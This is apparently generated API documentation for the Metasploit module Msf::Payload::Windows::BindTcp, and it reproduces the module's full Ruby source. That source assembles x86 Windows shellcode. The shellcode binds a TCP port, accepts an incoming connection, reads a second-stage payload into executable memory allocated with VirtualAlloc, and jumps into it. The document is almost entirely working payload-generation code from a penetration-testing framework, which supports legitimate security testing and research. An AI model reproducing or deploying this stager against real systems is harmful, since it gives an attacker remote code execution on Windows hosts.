Module: Msf::Payload::Windows::BindTcp

Includes:
TransportConfig, Msf::Payload::Windows, BlockApi, Exitfunk, SendUUID
Included in:
BindTcpRc4
Defined in:
lib/msf/core/payload/windows/bind_tcp.rb

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from Exitfunk

#asm_exitfunk

Methods included from BlockApi

#asm_block_api

Methods included from SendUUID

#asm_send_uuid, #uuid_required_size

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #initialize, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #initialize, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #initialize, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Methods included from Pingback::Options

#initialize

Instance Method Details

#asm_bind_tcp(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {})

    a customizable set of options

Options Hash (opts):

  • :port (Integer)

    The port to connect to

  • :exitfunk (String)

    The exit method to use if there is an error, one of process, thread, or seh

  • :reliable (Bool)

    Whether or not to enable error handling code


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# File 'lib/msf/core/payload/windows/bind_tcp.rb', line 108

def asm_bind_tcp(opts={})

  reliable      = opts[:reliable]
  addr_fam      = 2
  sockaddr_size = 16

  if use_ipv6
    addr_fam = 23
    sockaddr_size = 28
  end

  encoded_port   = "0x%.8x" % [opts[:port].to_i, addr_fam].pack("vn").unpack("N").first

  asm = %Q^
    ; Input: EBP must be the address of 'api_call'.
    ; Output: EDI will be the newly connected clients socket
    ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)

    bind_tcp:
      push 0x00003233        ; Push the bytes 'ws2_32',0,0 onto the stack.
      push 0x5F327377        ; ...
      push esp               ; Push a pointer to the "ws2_32" string on the stack.
      push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
      call ebp               ; LoadLibraryA( "ws2_32" )

      mov eax, 0x0190        ; EAX = sizeof( struct WSAData )
      sub esp, eax           ; alloc some space for the WSAData structure
      push esp               ; push a pointer to this stuct
      push eax               ; push the wVersionRequested parameter
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
      call ebp               ; WSAStartup( 0x0190, &WSAData );

      push 11
      pop ecx
    push_0_loop:
      push eax               ; if we succeed, eax will be zero, push it enough times
                             ; to cater for both IPv4 and IPv6
      loop push_0_loop

                             ; push zero for the flags param [8]
                             ; push null for reserved parameter [7]
                             ; we do not specify a WSAPROTOCOL_INFO structure [6]
                             ; we do not specify a protocol [5]
      push 1                 ; push SOCK_STREAM
      push #{addr_fam}       ; push AF_INET/6
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
      call ebp               ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 );
      xchg edi, eax          ; save the socket for later, don't care about the value of eax after this

                             ; bind to 0.0.0.0/[::], pushed earlier

      push #{encoded_port}   ; family AF_INET and port number
      mov esi, esp           ; save a pointer to sockaddr_in struct
      push #{sockaddr_size}  ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)
      push esi               ; pointer to the sockaddr_in struct
      push edi               ; socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
      call ebp               ; bind( s, &sockaddr_in, 16 );
  ^

  # Check for a failed bind() call
  if reliable
    asm << %Q^
      test eax,eax
      jnz failure
    ^
  end

  asm << %Q^
                             ; backlog, pushed earlier [3]
      push edi               ; socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')}
      call ebp               ; listen( s, 0 );

                             ; we set length for the sockaddr struct to zero, pushed earlier [2]
                             ; we dont set the optional sockaddr param, pushed earlier [1]
      push edi               ; listening socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')}
      call ebp               ; accept( s, 0, 0 );

      push edi               ; push the listening socket
      xchg edi, eax          ; replace the listening socket with the new connected socket for further comms
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
      call ebp               ; closesocket( s );
  ^

  asm << asm_send_uuid if include_send_uuid

  asm
end

#asm_block_recv(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {})

    a customizable set of options

Options Hash (opts):

  • :reliable (Bool)

    Whether or not to enable error handling code


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# File 'lib/msf/core/payload/windows/bind_tcp.rb', line 204

def asm_block_recv(opts={})
  reliable     = opts[:reliable]
  asm = %Q^
    recv:
      ; Receive the size of the incoming second stage...
      push 0                 ; flags
      push 4                 ; length = sizeof( DWORD );
      push esi               ; the 4 byte buffer on the stack to hold the second stage length
      push edi               ; the saved socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
      call ebp               ; recv( s, &dwLength, 4, 0 );
  ^

  # Check for a failed recv() call
  if reliable
    asm << %Q^
      cmp eax, 0
      jle failure
    ^
  end

  asm << %Q^
      ; Alloc a RWX buffer for the second stage
      mov esi, [esi]         ; dereference the pointer to the second stage length
      push 0x40              ; PAGE_EXECUTE_READWRITE
      push 0x1000            ; MEM_COMMIT
      push esi               ; push the newly recieved second stage length.
      push 0                 ; NULL as we dont care where the allocation is.
      push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
      call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
      ; Receive the second stage and execute it...
      xchg ebx, eax          ; ebx = our new memory address for the new stage
      push ebx               ; push the address of the new stage so we can return into it
    read_more:               ;
      push 0                 ; flags
      push esi               ; length
      push ebx               ; the current address into our second stage's RWX buffer
      push edi               ; the saved socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
      call ebp               ; recv( s, buffer, length, 0 );
  ^

  # Check for a failed recv() call
  if reliable
    asm << %Q^
      cmp eax, 0
      jle failure
    ^
  end

  asm << %Q^
      add ebx, eax           ; buffer += bytes_received
      sub esi, eax           ; length -= bytes_received, will set flags
      jnz read_more          ; continue if we have more to read
      ret                    ; return into the second stage
  ^

  if reliable
    if opts[:exitfunk]
      asm << %Q^
    failure:
      ^
      asm << asm_exitfunk(opts)
    else
      asm << %Q^
    failure:
      push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
      call ebp
      ^
    end
  end

  asm
end

#generateObject

Generate the first stage


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# File 'lib/msf/core/payload/windows/bind_tcp.rb', line 30

def generate
  conf = {
    port:     datastore['LPORT'],
    reliable: false
  }

  # Generate the more advanced stager if we have the space
  if self.available_space && required_space <= self.available_space
    conf[:exitfunk] = datastore['EXITFUNC']
    conf[:reliable] = true
  end

  generate_bind_tcp(conf)
end

#generate_bind_tcp(opts = {}) ⇒ Object

Generate and compile the stager


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# File 'lib/msf/core/payload/windows/bind_tcp.rb', line 67

def generate_bind_tcp(opts={})
  combined_asm = %Q^
    cld                    ; Clear the direction flag.
    call start             ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}
    start:
      pop ebp
    #{asm_bind_tcp(opts)}
    #{asm_block_recv(opts)}
  ^
  Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end

#include_send_uuidObject

By default, we don't want to send the UUID, but we'll send for certain payloads if requested.


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# File 'lib/msf/core/payload/windows/bind_tcp.rb', line 49

def include_send_uuid
  false
end

#required_spaceObject

Determine the maximum amount of space required for the features requested


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# File 'lib/msf/core/payload/windows/bind_tcp.rb', line 83

def required_space
  # Start with our cached default generated size
  space = cached_size

  # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
  space += 31

  # EXITFUNK unset will still call ExitProces, which adds 7 bytes (accounted for above)

  # Reliability checks add 4 bytes for the first check, 5 per recv check (2)
  space += 14

  space += uuid_required_size if include_send_uuid

  # The final estimated size
  space
end

#transport_config(opts = {}) ⇒ Object


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# File 'lib/msf/core/payload/windows/bind_tcp.rb', line 53

def transport_config(opts={})
  transport_config_bind_tcp(opts)
end

#use_ipv6Object

Don't use IPv6 by default, this can be overridden by other payloads


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# File 'lib/msf/core/payload/windows/bind_tcp.rb', line 60

def use_ipv6
  false
end